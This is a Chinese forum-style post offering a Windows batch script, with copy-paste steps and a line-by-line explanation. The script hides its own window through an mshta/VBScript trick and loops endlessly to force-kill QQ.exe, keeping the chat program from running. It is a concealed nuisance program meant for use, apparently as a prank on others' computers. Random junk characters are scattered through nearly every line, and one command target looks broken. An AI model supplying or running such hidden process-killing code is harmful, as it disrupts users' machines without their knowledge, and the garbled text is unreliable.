|
功能:运行以后机器上的QQ就不能运行了。终结方法是:打开任务管理器,然后结束进程cmd.exe就可以了。 ! a( O) ?9 H( a5 Y
新建文本文档,然后将下面代码复制进去,然后重命名为a.bat,然后双击就可以了。 6 e( @ s4 |, B' E; X% D/ b8 j
' V, ~, R5 C) [0 n5 F ?% n* T
@echo off
7 h/ \ v- g1 z, W- x0 b: jif "%1" == "h" goto begin
' O: |% \- Y+ s% b3 E f/ _& Hmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit . Z! O3 E0 T9 s: K6 }8 k0 ]" Y0 ]
:begin / T% t' B3 U9 k' U
tasklist |find /i "QQ.exe"
' a; B4 C/ R4 ]; [) Hif %errorlevel%==0 (goto killit) else (goto next) # c" \" x4 L+ {
:killit 9 Q0 B! o* e ~3 \ a6 G$ \5 g' F
taskkill /f /im QQ.exe
. D; u0 l# G2 [8 z1 x# [:next
5 _) B5 `7 c6 Q' Xping -n 3 127.t >nul 2>nul
' f( v; @' K3 a$ Q2 I4 _goto begin
9 @+ e2 @7 {4 x# }- M* c1 r- f9 U1 j# H
代码到此为止 j0 h7 E5 V5 H. w' g
讲解如下: 8 p+ A6 R) N/ w0 m
@echo off ------关闭回显 : n% \& k+ G6 N4 T2 n4 L
if "%1" == "h" goto begin --如果文件运行时有参数h,则显示窗口运行,否则只是在后台运行
+ Z3 |& R* s: L ?5 d" Rmshta vbscript:createobject("wscript.shell").run("%~nx0 h",0)(window.close)&&exit -----隐藏窗口代码 ' i0 z. C3 O1 _$ v2 y
:begin ------------定一段名begin $ q7 f* Q( ?6 Q7 f
tasklist |find /i "QQ.exe" ----在任务管理器里寻找进程QQ.exe # I- F$ u) H' D- \- T
if %errorlevel%==0 (goto killit) else (goto next)---如果存在QQ.exe.则跳转执行killit,否则执行next
4 N' G; V5 S' V:killit
( l0 q" t/ e3 ?taskkill /f /im QQ.exe----终结进程QQ.exe
" }1 E8 l( U& {- R:next
2 a9 A# E d0 w2 l# Z7 i4 `8 U% ^ping -n 3 127.t >nul 2>nul -----延迟一段时间
N* O4 {2 n" [' ^$ n- Ygoto begin--------------返回执行begin
+ z" e P3 n( q( @! m7 d |
|